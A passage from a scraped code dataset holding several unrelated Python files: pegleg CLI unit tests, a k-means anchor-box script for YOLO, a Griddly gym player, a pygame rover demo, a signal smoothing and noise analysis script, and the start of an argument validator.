URL.\"\"\"\n # Scenario:\n #\n # 1) Mock out Deckhand render (so we can ignore P005 issues)\n # 2) Lint repo with exclude flags (should clone repo automatically)\n\n repo_url = 'https://github.com/openstack/%s@%s' % (self.repo_name,\n self.repo_rev)\n\n lint_command = ['-r', repo_url, 'lint']\n exclude_lint_command = [\n '-x', errorcodes.SCHEMA_STORAGE_POLICY_MISMATCH_FLAG, '-x',\n errorcodes.SECRET_NOT_ENCRYPTED_POLICY\n ]\n\n with mock.patch('pegleg.engine.site.util.deckhand') as mock_deckhand:\n mock_deckhand.deckhand_render.return_value = ([], [])\n result = self.runner.invoke(cli.repo,\n lint_command + exclude_lint_command)\n\n assert result.exit_code == 0, result.output\n # A successful result (while setting lint checks to exclude) should\n # output nothing.\n assert not result.output\n\n def test_lint_repo_using_local_path_with_exclude(self):\n \"\"\"Validates repo lint action using local repo path.\"\"\"\n # Scenario:\n #\n # 1) Mock out Deckhand render (so we can ignore P005 issues)\n # 2) Lint repo with exclude flags (should skip clone repo)\n\n repo_path = self.treasuremap_path\n lint_command = ['-r', repo_path, 'lint']\n exclude_lint_command = [\n '-x', errorcodes.SCHEMA_STORAGE_POLICY_MISMATCH_FLAG, '-x',\n errorcodes.SECRET_NOT_ENCRYPTED_POLICY\n ]\n\n with mock.patch('pegleg.engine.site.util.deckhand') as mock_deckhand:\n mock_deckhand.deckhand_render.return_value = ([], [])\n result = self.runner.invoke(cli.repo,\n lint_command + exclude_lint_command)\n\n assert result.exit_code == 0, result.output\n # A successful result (while setting lint checks to exclude) should\n # output nothing.\n assert not result.output\n\n\nclass TestTypeCliActions(BaseCLIActionTest):\n \"\"\"Tests type-level CLI actions.\"\"\"\n\n def setup(self):\n self.expected_types = ['foundry']\n\n def _assert_table_has_expected_sites(self, mock_output):\n table_output = mock_output.write.mock_calls[0][1][0]\n for expected_type in self.expected_types:\n assert expected_type in table_output\n\n def _validate_type_list_action(self, repo_path_or_url):\n mock_output = mock.Mock()\n result = self.runner.invoke(\n cli.type, ['-r', repo_path_or_url, 'list', '-o', mock_output])\n\n assert result.exit_code == 0, result.output\n self._assert_table_has_expected_sites(mock_output)\n\n def test_list_types_using_remote_repo_url(self):\n \"\"\"Validates list types action using remote repo URL.\"\"\"\n # Scenario:\n #\n # 1) List types (should clone repo automatically)\n\n repo_url = 'https://github.com/openstack/%s@%s' % (self.repo_name,\n self.repo_rev)\n self._validate_type_list_action(repo_url)\n\n def test_list_types_using_local_repo_path(self):\n \"\"\"Validates list types action using local repo path.\"\"\"\n # Scenario:\n #\n # 1) List types for local repo path\n\n repo_path = self.treasuremap_path\n self._validate_type_list_action(repo_path)\n\n\nclass TestSiteCliActionsWithSubdirectory(BaseCLIActionTest):\n \"\"\"Tests site CLI actions with subdirectories in repository paths.\"\"\"\n\n def setup(self):\n self.expected_sites = ['demo', 'gate-multinode', 'dev', 'dev-proxy']\n\n def _assert_table_has_expected_sites(self, mock_output):\n table_output = mock_output.write.mock_calls[0][1][0]\n for expected_site in self.expected_sites:\n assert expected_site in table_output\n\n def _validate_list_site_action(self, repo_path_or_url):\n mock_output = mock.Mock()\n result = self.runner.invoke(\n cli.site, ['-r', repo_path_or_url, 'list', '-o', mock_output])\n\n assert result.exit_code == 0, result.output\n self._assert_table_has_expected_sites(mock_output)\n\n def test_site_action_with_subpath_in_remote_url(self):\n \"\"\"Validates list action with subpath in remote URL.\"\"\"\n # Scenario:\n #\n # 1) List sites for https://github.com/airship-in-a-bottle/\n # deployment_files (subpath in remote URL)\n\n # Perform site action using remote URL.\n repo_name = 'airship-in-a-bottle'\n repo_rev = '7a0717adc68261c7adb3a3db74a9326d6103519f'\n repo_url = 'https://github.com/openstack/%s/deployment_files@%s' % (\n repo_name, repo_rev)\n\n self._validate_list_site_action(repo_url)\n\n def test_site_action_with_subpath_in_local_repo_path(self):\n \"\"\"Validates list action with subpath in local repo path.\"\"\"\n # Scenario:\n #\n # 1) List sites for local repo at /tmp/.../airship-in-a-bottle/\n # deployment_files\n\n # Perform site action using local repo path.\n repo_name = 'airship-in-a-bottle'\n repo_rev = '7a0717adc68261c7adb3a3db74a9326d6103519f'\n repo_url = 'https://github.com/openstack/%s' % repo_name\n _repo_path = git.git_handler(repo_url, ref=repo_rev)\n repo_path = os.path.join(_repo_path, 'deployment_files')\n\n self._validate_list_site_action(repo_path)\n","sub_path":"tests/unit/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":19333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"535936175","text":"# coding=utf-8\n# https://github.com/PaulChongPeng/darknet/blob/master/tools/k_means_yolo.py\n# k-means ++ for YOLOv2 anchors\n# 通过k-means ++ 算法获取YOLOv2需要的anchors的尺寸\nimport numpy as np\nimport math\n\n# 定义Box类,描述bounding box的坐标\nclass Box():\n def __init__(self, x, y, w, h):\n self.x = x\n self.y = y\n self.w = w\n self.h = h\n\n\n# 计算两个box在某个轴上的重叠部分\n# x1是box1的中心在该轴上的坐标\n# len1是box1在该轴上的长度\n# x2是box2的中心在该轴上的坐标\n# len2是box2在该轴上的长度\n# 返回值是该轴上重叠的长度\ndef overlap(x1, len1, x2, len2):\n len1_half = len1 / 2\n len2_half = len2 / 2\n\n left = max(x1 - len1_half, x2 - len2_half)\n right = min(x1 + len1_half, x2 + len2_half)\n\n return right - left\n\n\n# 计算box a 和box b 的交集面积\n# a和b都是Box类型实例\n# 返回值area是box a 和box b 的交集面积\ndef box_intersection(a, b):\n w = overlap(a.x, a.w, b.x, b.w)\n h = overlap(a.y, a.h, b.y, b.h)\n if w < 0 or h < 0:\n return 0\n\n area = w * h\n return area\n\n\n# 计算 box a 和 box b 的并集面积\n# a和b都是Box类型实例\n# 返回值u是box a 和box b 的并集面积\ndef box_union(a, b):\n i = box_intersection(a, b)\n u = a.w * a.h + b.w * b.h - i\n return u\n\n\n# 计算 box a 和 box b 的 iou\n# a和b都是Box类型实例\n# 返回值是box a 和box b 的iou\ndef box_iou(a, b):\n return box_intersection(a, b) / box_union(a, b)\n\n\ndef box_avg_iou(bboxes, centroids):\n max_iou_sum = 0\n for bbox in bboxes:\n max_iou = 0\n for centroid in centroids:\n iou = box_iou(bbox, centroid)\n max_iou = max(max_iou, iou)\n max_iou_sum += max_iou\n return max_iou_sum / len(bboxes)\n\n\n# 使用k-means ++ 初始化 centroids,减少随机初始化的centroids对最终结果的影响\n# boxes是所有bounding boxes的Box对象列表\n# n_anchors是k-means的k值\n# 返回值centroids 是初始化的n_anchors个centroid\ndef distance_builder(metric):\n if metric == 'iou':\n def iou_distance(box, centroid):\n return 1 - box_iou(box, centroid)\n return iou_distance\n elif metric == 'aspect':\n def aspect_distance(box, centroid):\n theta1 = math.atan(box.w / box.h)\n theta2 = math.atan(centroid.w / centroid.h)\n return (theta1 - theta2) ** 2\n return aspect_distance\n\ndef init_centroids(boxes, n_anchors, metric):\n centroids = []\n boxes_num = len(boxes)\n\n centroid_index = np.random.choice(boxes_num)\n centroids.append(boxes[centroid_index])\n\n print(centroids[0].w, centroids[0].h)\n distance_fn = distance_builder(metric)\n for centroid_index in range(0, n_anchors-1):\n\n sum_distance = 0\n distance_thresh = 0\n distance_list = []\n cur_sum = 0\n\n for box in boxes:\n min_distance = 1\n for centroid_i, centroid in enumerate(centroids):\n distance = distance_fn(box, centroid)\n if distance < min_distance:\n min_distance = distance\n sum_distance += min_distance\n distance_list.append(min_distance)\n\n distance_thresh = sum_distance * np.random.random()\n\n for i in range(0, boxes_num):\n cur_sum += distance_list[i]\n if cur_sum > distance_thresh:\n centroids.append(boxes[i])\n print(boxes[i].w, boxes[i].h)\n break\n\n return centroids\n\n\n# 进行 k-means 计算新的centroids\n# boxes是所有bounding boxes的Box对象列表\n# n_anchors是k-means的k值\n# centroids是所有簇的中心\n# 返回值new_centroids 是计算出的新簇中心\n# 返回值groups是n_anchors个簇包含的boxes的列表\n# 返回值loss是所有box距离所属的最近的centroid的距离的和\ndef do_kmeans(n_anchors, boxes, centroids, metric):\n loss = 0\n groups = []\n distance_fn = distance_builder(metric)\n update_fn = update_builder(metric)\n for i in range(n_anchors):\n groups.append([])\n\n for box in boxes:\n min_distance = 1\n group_index = 0\n for centroid_index, centroid in enumerate(centroids):\n distance = distance_fn(box, centroid)\n if distance < min_distance:\n min_distance = distance\n group_index = centroid_index\n groups[group_index].append(box)\n loss += min_distance\n\n new_centroids = update_fn(n_anchors, groups)\n\n return new_centroids, groups, loss\n\n\ndef update_builder(metric):\n if metric == 'iou':\n return update_centroid_by_wh\n elif metric == 'aspect':\n return update_centroid_by_aspect\n\n\ndef update_centroid_by_wh(n_anchors, groups):\n new_centroids = []\n\n for group_index in range(n_anchors):\n group = groups[group_index]\n new_centroid = Box(0, 0, 0, 0)\n for box in group:\n new_centroid.w += box.w\n new_centroid.h += box.h\n new_centroid.w /= len(groups[group_index])\n new_centroid.h /= len(groups[group_index])\n new_centroids.append(new_centroid)\n return new_centroids\n\n\ndef update_centroid_by_aspect(n_anchors, groups):\n new_centroids = []\n\n for group_index in range(n_anchors):\n group = groups[group_index]\n new_centroid = Box(0, 0, 0, 0)\n theta = sum([math.atan(box.w / box.h) for box in group])\n theta_avg = theta / len(group)\n\n new_centroid.w = math.tan(theta_avg)\n new_centroid.h = 1\n new_centroids.append(new_centroid)\n return new_centroids\n\n # 计算给定bounding boxes的n_anchors数量的centroids\n# label_path是训练集列表文件地址\n# n_anchors 是anchors的数量\n# loss_convergence是允许的loss的最小变化值\n# grid_size * grid_size 是栅格数量\n# iterations_num是最大迭代次数\n# plus = 1时启用k means ++ 初始化centroids\ndef compute_centroids(bboxes, k, loss_convergence=1e-6, iterations_num=100, plus=True, metric='iou'):\n \"\"\"\n :param k:\n :param bboxes: a list of [xcenter, ycenter, width, height] ndarray or list\n :param loss_convergence:\n :param iterations_num:\n :param plus:\n :return:\n \"\"\"\n boxes = []\n\n for bbox in bboxes:\n boxes.append(Box(0, 0, bbox[2], bbox[3]))\n\n del bboxes\n\n if plus:\n centroids = init_centroids(boxes, k, metric)\n else:\n centroid_indices = np.random.choice(len(boxes), k)\n centroids = []\n for centroid_index in centroid_indices:\n centroids.append(boxes[centroid_index])\n\n # iterate k-means\n centroids, groups, old_loss = do_kmeans(k, boxes, centroids, metric)\n iterations = 1\n while (True):\n centroids, groups, loss = do_kmeans(k, boxes, centroids, metric)\n iterations = iterations + 1\n print(\"%d loss = %f\" % (iterations, loss))\n if abs(old_loss - loss) < loss_convergence or iterations > iterations_num:\n break\n old_loss = loss\n\n if metric == 'iou':\n centroids = sorted(centroids, key=lambda c: c.w)\n avg_iou = box_avg_iou(boxes, centroids)\n # print result\n for i, centroid in enumerate(centroids):\n print(\"k-means result {}:\".format(i))\n print(centroid.w, centroid.h)\n print(\"avg_iou {}:\".format(avg_iou))\n\n with open('kmeans_result.txt', 'a') as f:\n for i, centroid in enumerate(centroids):\n f.write(\"k-means iou result {}: w {}, h {}, ratio {}, scale {}\\n\".format(i, centroid.w, centroid.h, centroid.w/centroid.h, math.sqrt(centroid.w * centroid.h)))\n f.write(\"avg_iou {}\\n\".format(avg_iou))\n f.write(\"{}\\n\".format('-'*50))\n\n w = [box.w for box in boxes]\n h = [box.h for box in boxes]\n cw = [box.w for box in centroids]\n ch = [box.h for box in centroids]\n show(w, h, cw, ch)\n elif metric == 'aspect':\n # print result\n centroids = sorted(centroids, key=lambda c: c.w)\n avg_iou = box_avg_iou(boxes, centroids)\n for i, centroid in enumerate(centroids):\n print(\"k-means aspect result {}:\".format(i))\n print(centroid.w / centroid.h)\n print(\"avg_iou {}:\".format(avg_iou))\n with open('kmeans_result.txt', 'a') as f:\n for i, centroid in enumerate(centroids):\n f.write(\"k-means aspect result {}: {}\\n\".format(i, centroid.w / centroid.h))\n f.write(\"avg_iou {}\\n\".format(avg_iou))\n f.write(\"{}\\n\".format('-'*50))\n\n w = [math.atan(box.w/box.h) for box in boxes]\n h = [1 for _ in boxes]\n cw = [math.atan(box.w/box.h) for box in centroids]\n ch = [1 for _ in centroids]\n show(w, h, cw, ch)\n\n\ndef show(w, h, cw, ch):\n import matplotlib.pyplot as plt\n plt.scatter(w, h, s=10, color='b')\n plt.scatter(cw, ch, s=10, color='r')\n plt.show()\n\nif __name__ == '__main__':\n bboxes = [\n [0.7403649999999999, 0.5625, 0.086979, 0.350926],\n [0.327344, 0.5356479999999999, 0.044271, 0.243519],\n [0.785417, 0.5546300000000001, 0.095833, 0.311111],\n [0.559375, 0.49907399999999996, 0.01875, 0.101852],\n [0.5763020000000001, 0.5013890000000001, 0.016146, 0.10648099999999999],\n [0.6622399999999999, 0.460185, 0.017188, 0.092593],\n [0.539583, 0.45185200000000003, 0.020833, 0.10740699999999999],\n [0.583333, 0.458333, 0.019791999999999997, 0.1],\n [0.497917, 0.456481, 0.021875, 0.105556],\n [0.257552, 0.543981, 0.054688, 0.26203699999999996],\n [0.34713499999999997, 0.510648, 0.031771, 0.173148],\n [0.723698, 0.45925900000000003, 0.026562, 0.11481500000000001],\n [0.786198, 0.45925900000000003, 0.032813, 0.11481500000000001],\n [0.269531, 0.541204, 0.046354, 0.23055599999999998],\n [0.294531, 0.47361099999999995, 0.018229, 0.08611100000000001],\n [0.228125, 0.46388900000000005, 0.020833, 0.077778],\n [0.31224, 0.483796, 0.018229, 0.12314800000000001],\n [0.514583, 0.45787, 0.016666999999999998, 0.071296],\n [0.30625, 0.419907, 0.010417000000000001, 0.039814999999999996],\n [0.315104, 0.416667, 0.009375, 0.038889],\n ]\n k = 7\n loss_convergence = 1e-6\n grid_size = 13\n iterations_num = 100\n plus = 1\n metric = 'iou'\n compute_centroids(bboxes, k, loss_convergence, iterations_num, plus, metric=metric)","sub_path":"research/object_detection/dataset_tools/utils/kmeans_anchors.py","file_name":"kmeans_anchors.py","file_ext":"py","file_size_in_byte":10442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"531121622","text":"import gym\nfrom gym.utils.play import play\n\nfrom griddly import GymWrapperFactory, gd\nfrom griddly.RenderTools import RenderWindow\n\n\ndef callback(env):\n render_window = RenderWindow(800, 800)\n\n def _callback(prev_obs, obs, action, rew, env_done, info):\n render_window.render(env.render(observer='global', mode=\"rgb_array\").swapaxes(0,2))\n if rew != 0:\n print(f'Reward: {rew}')\n if env_done:\n print(f'Done!')\n\n return _callback\n\n\nif __name__ == '__main__':\n wrapper = GymWrapperFactory()\n\n environment_name = 'GVGAI/bait_keys'\n # environment_name = 'Mini-Grid/minigrid-drunkdwarf'\n # environment_name = 'Mini-Grid/minigrid-spiders'\n # environment_name = 'GVGAI/clusters'\n # environment_name = 'GVGAI/labyrinth_partially_observable'\n level = 2\n\n wrapper.build_gym_from_yaml(environment_name, f'Single-Player/{environment_name}.yaml',\n player_observer_type=gd.ObserverType.BLOCK_2D,\n global_observer_type=gd.ObserverType.SPRITE_2D, level=level, tile_size=50)\n env = gym.make(f'GDY-{environment_name}-v0')\n play(env, callback=callback(env), fps=10, zoom=3)\n","sub_path":"python/tests/gym/gym_human_player.py","file_name":"gym_human_player.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"426068368","text":"'''\nMIT License\n\nCopyright (c) 2017 Johan Kinnander\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n'''\n\nimport sys\nimport time\nfrom rover_sprite import *\nfrom view import *\n\ndef run_game():\n\tview = View()\n\troverSprite = RoverSprite()\n\n\tstart_x = 40\n\tstart_y = 20\n\n\tx_incr = 22\n\ty_incr = 12\n\n\tx = start_x\n\ty = start_y\n\n\troverInitialOrientation = 0\n\troverOrientation = roverInitialOrientation\n\troverTurnrate = 12\n\n\twhile True:\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tsys.exit()\n\t\t\telif event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE:\n\t\t\t\tsys.exit()\n\n\t\tx = x + x_incr\n\t\ty = y + y_incr\n\n\t\tif x > 600 or y > 400:\n\t\t\tx = start_x\n\t\t\ty = start_y\n\n\t\troverSprite.moveTo(x, y)\n\n\t\troverOrientation = roverOrientation + roverTurnrate\n\n\t\tif roverOrientation >= 365:\n\t\t\troverOrientation = roverInitialOrientation\n\n\t\troverSprite.setOrientation(roverOrientation)\n\t\tview.draw(roverSprite)\n\n\t\ttime.sleep(1)\n\nif __name__ == '__main__':\n\trun_game()\n","sub_path":"visualization/hello_game.py","file_name":"hello_game.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"101501181","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n\r\nThis file fits data from an Origin worksheet using a spline fit and stores the\r\noutput in a new worksheet.\r\n\r\n@author: Hristo Goumnerov\r\n\"\"\"\r\n#%% Import modules\r\n\r\n# import numpy for advanced mathematical operations\r\nimport numpy as np\r\n\r\n# import scipy for scientific operations\r\nfrom scipy.signal import savgol_filter as svg\r\nfrom scipy.interpolate import UnivariateSpline as spl\r\nimport scipy.fftpack\r\n\r\n# import matplotlib for plotting\r\nimport matplotlib.pyplot as plt\r\n\r\n# import sys for basic system operations\r\nimport sys\r\n\r\n# import pandas to read in external data\r\nimport pandas as pd\r\n\r\n# import tkinter for file selection dialog\r\nimport tkinter\r\ntkinter.Tk().withdraw()\r\nfrom tkinter.filedialog import askopenfilename as ask\r\n\r\n#%% Import data\r\n\r\n# Filename(s)\r\ninp = ask()\r\n\r\n# Import data\r\ndata = pd.read_csv(inp, header=1, names=['Time','Width','Temperature'])\r\n\r\n# Extract x and y variables\r\nx = np.int32(data['Time'])\r\ny1 = np.float64(data['Width'])\r\ny2 = np.float64(data['Temperature'])\r\n\r\n#%% Spline fit function\r\n\r\n# Spline fit function (x input, y input, min x, max x, number of points)\r\ndef spline_fit(x,y,xmin,xmax,n):\r\n \r\n # Slice out region\r\n xc = x[np.nonzero(x==xmin)[0][0]:np.nonzero(x==xmax)[0][0]]\r\n yc = y[np.nonzero(x==xmin)[0][0]:np.nonzero(x==xmax)[0][0]] \r\n \r\n # Compute spline fit\r\n if (xmax+n) > len(x):\r\n print('\\n')\r\n print('NUMBER OF POINTS EXCEEDS INPUT SIZE')\r\n print('\\n')\r\n sys.exit()\r\n else:\r\n \r\n # Initialize output variables\r\n xcur = np.zeros(n)\r\n ycur = np.zeros(n)\r\n yspl = []\r\n \r\n # Compute fit\r\n for i in np.arange(0,len(xc)+n,n):\r\n \r\n # Slice out n points per step, compute third order cubic spline\r\n xcur = x[np.nonzero(x==xmin)[0][0]+i:np.nonzero(x==xmin)[0][0]+i+n]\r\n ycur = y[np.nonzero(x==xmin)[0][0]+i:np.nonzero(x==xmin)[0][0]+i+n]\r\n ys = spl(xcur,ycur, k=3)\r\n if i == len(xc)-1:\r\n yspl.extend(ys(xcur)[0])\r\n break\r\n else:\r\n yspl.extend(ys(xcur))\r\n \r\n # Store data\r\n yspl = np.float64(yspl[:len(xc)])\r\n \r\n # Return output\r\n return xc, yc, yspl\r\n\r\n#%% Savicky Golay Function\r\n \r\ndef savgol(x,y,xmin,xmax,n,p):\r\n \r\n # Slice out region\r\n yc = y[np.nonzero(x==xmin)[0][0]:np.nonzero(x==xmax)[0][0]]\r\n \r\n # Compute filtered output\r\n ysg = svg(yc,n,p)\r\n \r\n return ysg\r\n\r\n#%% Moving average\r\n\r\ndef moving_average(x,y,xmin,xmax,N):\r\n \r\n # Slice out region\r\n yc = y[np.nonzero(x==xmin)[0][0]:np.nonzero(x==xmax)[0][0]+N-1]\r\n cumsum = np.cumsum(np.insert(yc, 0, 0)) \r\n \r\n return (cumsum[N:] - cumsum[:-N]) / N\r\n\r\n# window = np.ones(int(N))/float(N)\r\n# interval = yc\r\n# out = np.convolve(interval, window, 'same')\r\n# \r\n# return out[2:-2]\r\n\r\n#%% Noise function\r\n\r\n# Noise function (y original, y fitted, conversion factor)\r\ndef noise(y1,y2,c):\r\n \r\n # Initialize output variable\r\n out = []\r\n \r\n # Compute noise\r\n for i in range(len(y1)):\r\n out.append((y1[i]-y2[i])*c)\r\n \r\n # Store data and standard deviation\r\n out = np.float64(out)\r\n std = np.std(out)\r\n \r\n # Return output\r\n return out, std\r\n \r\n#%% FFT function\r\n\r\n# FFT function (input signal)\r\ndef fft_fit(y):\r\n \r\n # Number of sample points\r\n N = len(y)\r\n # Spacing between points\r\n T = 1.0/N\r\n \r\n # Compute FFT\r\n xfft = np.linspace(0.0, 1/(2*T), N/2)\r\n yfft = scipy.fftpack.fft(y)\r\n yfft_p = (2.0/N)*np.abs(yfft[:N//2])\r\n \r\n # Return output\r\n return xfft, yfft, yfft_p\r\n\r\n#%% Plot function\r\n\r\n# Plot function (x input, y1 input, y2 input, x sliced, y sliced, y fitted, standard deviation, noise, x FFT, y FFT for plot)\r\ndef plot1(x,y1,y2):\r\n \r\n ## 1\r\n fig, ax1 = plt.subplots()\r\n ax2 = ax1.twinx()\r\n ax1.plot(x,y1,'r')\r\n ax2.plot(x,y2,'b')\r\n \r\n ax1.set_xlabel('Time')\r\n ax1.set_ylabel('Width', color='r')\r\n ax2.set_ylabel('Temperature', color='b')\r\n ax1.grid(which='major', axis='both')\r\n ax1.set_xlim([min(x),max(x)])\r\n plt.show()\r\n\r\ndef plot2(x,y,y_fit,std,noi):\r\n\r\n ## 2\r\n plt.figure()\r\n plt.subplot(211)\r\n plt.plot(x,y,'r',label='Input')\r\n plt.plot(x,y_fit,'k',label=('Output, STD: %4.3f' % std))\r\n plt.xlim([min(x),max(x)])\r\n plt.grid()\r\n plt.legend(loc=1)\r\n \r\n plt.subplot(212)\r\n plt.plot(x,noi,'r',label='Noise')\r\n plt.grid()\r\n plt.xlim([min(x),max(x)])\r\n plt.legend(loc=1)\r\n\r\ndef plot3(x,y,noi):\r\n\r\n ## 3\r\n plt.figure()\r\n plt.subplot(211)\r\n plt.plot(x,noi,'r')\r\n plt.grid()\r\n plt.subplot(212)\r\n plt.plot(x,y,'r')\r\n plt.grid()\r\n plt.xlim([min(x),max(x)])\r\n\r\n#%% Run code\r\n\r\n'''\r\nFirst 1400 K hold: 280 - 398\r\n1300 K hold: 418 - 538\r\nSecond 1400 K hold: 559 - 678\r\n1000 K hold: 759 - 878\r\n'''\r\n\r\nx1 = 759\r\nx2 = 878\r\nn = 5\r\np = 2\r\nc = 1014.0\r\n\r\n# Spline fit function (x input, y input, min x, max x, number of points)\r\nx_sl, y_sl, y_sp = spline_fit(x,y1,x1,x2,n)\r\n\r\n# Savitzky-Golay output\r\ny_sg = savgol(x,y1,x1,x2,n,p)\r\n\r\n# Moving average\r\ny_ma = moving_average(x,y1,x1,x2,n)\r\n\r\n# Noise function (y original, y fitted, conversion factor)\r\nnoi_sp, std_sp = noise(y_sl,y_sp,c)\r\nnoi_sg, std_sg = noise(y_sl,y_sg,c)\r\nnoi_ma, std_ma = noise(y_sl,y_ma,c)\r\n\r\n# FFT function (input signal)\r\n#xfft_sp, _, yfft_sp = fft_fit(noi_sp)\r\n \r\n# Plot function (x input, y input, x sliced, y sliced, y fitted, standard deviation, noise, x FFT, y FFT for plot)\r\nplot1(x,y1,y2)\r\nplot2(x_sl,y_sl,y_sp,std_sp,noi_sp)\r\nplot2(x_sl,y_sl,y_sg,std_sg,noi_sg)\r\nplot2(x_sl,y_sl,y_ma,std_ma,noi_ma)\r\n#plot3(xfft_sp,yfft_sp)\r\n","sub_path":"TOM_air/spline.py","file_name":"spline.py","file_ext":"py","file_size_in_byte":5782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"386210516","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport copy\nimport logging\nimport re\nimport types\n\nimport validators\n\n__author__ = \"xxx_828@163.com\"\n\n\n# 数据验证\n# 用于单个参数的验证,把 validators 封装了一下\ndef arg_validator(arg, vlist=None):\n \"\"\"\n 检查数据,可对同一个数据进行多种检查\n\n arg : 字符串,要验证的参数\n vlist : 列表,验证列表,每个元素包含两项.\n 第一个项是检查类型(字符串),第二项是可选参数字典,类似:\n [\n (\"检查类型\",{\"可选参数1\":参数值,\"可选参数2\":参数值...}),\n (\"检查类型\",{\"可选参数1\":参数值,\"可选参数2\":参数值...}),\n ...\n ]\n 返回: 双元组,第一项为True 或 False,第二项为验证失败的类型(第一项为True的话第二项就留空)\n\n 注意:\n vlist 列表的第一项可以是字符串 \"required\",用于表示是必填项:\n 如果第一项不是,而且要验证的 arg 为空,会直接返回 True,不是的继续验证。\n 如果第一项是,就完全按照 vlist[1:] 的要求验证\n vlist 的元素如果是验证整数/小数/email等不需要附加参数的可以直接传入验证类型字符串即可\n\n 用例(使用args_validator函数的,看这里vdict每个键值对的形式):\n vdict = {\n \"token\": [\"required\", \"uuid\"],\n \"username\": [\"required\", (\"length\", {\"min\": 4, \"max\": 30}), \"safe_str\"],\n \"password\": [\"required\", (\"length\", {\"min\": 4, \"max\": 20}), \"safe_str\"],\n \"captcha\": [\"required\", (\"length\", {\"min\": 4, \"max\": 8}), \"safe_str\"],\n }\n form = args_validator(self.request.arguments, vdict)\n\n \"\"\"\n if not any((isinstance(vlist, list), isinstance(vlist, tuple))):\n einfo = \"不支持的数据类型!应使用列表或元组,但输入的是{}\".format(type(vlist))\n raise ValueError(einfo)\n\n if vlist[0] == \"required\":\n # 第一项不是 required 的,把第一项的 \"required\" 去掉\n vlist = vlist[1:]\n else:\n # 第一项不是 required 的,如果 arg 是空的,直接返回 True,不是的继续验证\n if not arg:\n return True, None\n\n # 待返回的验证结果\n verification = None\n failed_type = None # 验证失败的类型\n\n # 开始检查,有一个不通过就返回 False\n for i in vlist:\n local_verification = None\n if isinstance(i, str): # 如果是字符串的话就改为元组\n i = (i, {})\n\n if len(i) == 1: # 只有一个元素的,添加一个空字典\n i = (i[0], {})\n\n vtype = i[0] # 检查类型是第一项\n vdict = i[1] # 检查类型所需的可选参数字典\n\n # 在 validators 之外添加的\n # 没有空白\n if vtype == \"no_space\":\n if not re.search(r\"\\s\", arg):\n local_verification = True\n # 安全字符串,只包含 0-9a-zA-Z-空格和下划线\n elif vtype == \"safe_str\":\n if re.match(r\"^[0-9a-zA-Z-_ ]+$\", arg, flags=re.U):\n local_verification = True\n\n # 是否包含\n elif vtype == \"in\":\n # 迭代 vdict 的键值(所以键名无所谓)\n for v in vdict.values():\n if arg not in v:\n local_verification = False\n break\n elif vtype == \"not_in\":\n # 迭代 vdict 的键值(所以键名无所谓)\n for v in vdict.values():\n if arg in v:\n local_verification = False\n break\n\n # 字符串形式的数字\n elif vtype == \"str_number\":\n if re.match(r\"[+-]?\\d+$\", arg, flags=re.U) or \\\n re.match(r\"[+-]?\\d+\\.\\d+$\", arg, flags=re.U):\n local_verification = True\n elif vtype == \"str_int\":\n if re.match(r\"[+-]?\\d+$\", arg, flags=re.U):\n local_verification = True\n elif vtype == \"str_float\":\n if re.match(r\"[+-]?\\d+\\.\\d+$\", arg, flags=re.U):\n local_verification = True\n\n # 数字\n elif vtype == \"number\": # 整数或浮点数都可以\n local_verification = isinstance(arg, int) or isinstance(arg, float)\n elif vtype == \"int\":\n local_verification = isinstance(arg, int)\n elif vtype == \"float\":\n local_verification = isinstance(arg, float)\n\n # 直接调用 validators的\n elif vtype == \"length\":\n local_verification = validators.length(arg, **vdict)\n elif vtype == \"url\":\n local_verification = validators.url(arg, **vdict)\n elif vtype == \"email\":\n local_verification = validators.email(arg, **vdict)\n elif vtype == \"ip\": # ipv4 或 ipv6都可以\n local_verification = any((validators.ipv4(arg, **vdict),\n validators.ipv6(arg, **vdict)))\n elif vtype == \"between\":\n local_verification = validators.between(arg, **vdict)\n elif vtype == \"uuid\":\n local_verification = validators.uuid(arg, **vdict)\n elif vtype == \"ipv4\":\n local_verification = validators.ipv4(arg, **vdict)\n elif vtype == \"ipv6\":\n local_verification = validators.ipv6(arg, **vdict)\n elif vtype == \"mac_address\":\n local_verification = validators.mac_address(arg, **vdict)\n elif vtype == \"iban\":\n local_verification = validators.iban(arg, **vdict)\n elif vtype == \"slug\":\n local_verification = validators.slug(arg, **vdict)\n elif vtype == \"truthy\":\n local_verification = validators.truthy(arg, **vdict)\n\n # 对于验证不为真或没有验证的\n # 不为真的时候返回的是: ValidationFailure(......)\n if not local_verification:\n verification = False\n failed_type = vtype\n break # 有一条不为 True, 直接返回 False\n else:\n verification = True\n # 处理返回值\n if verification not in(False, True):\n verification = False\n if not verification:\n return verification, failed_type\n else:\n return True, None\n\n\ndef args_validator(args, vdict, mulit_values=()):\n 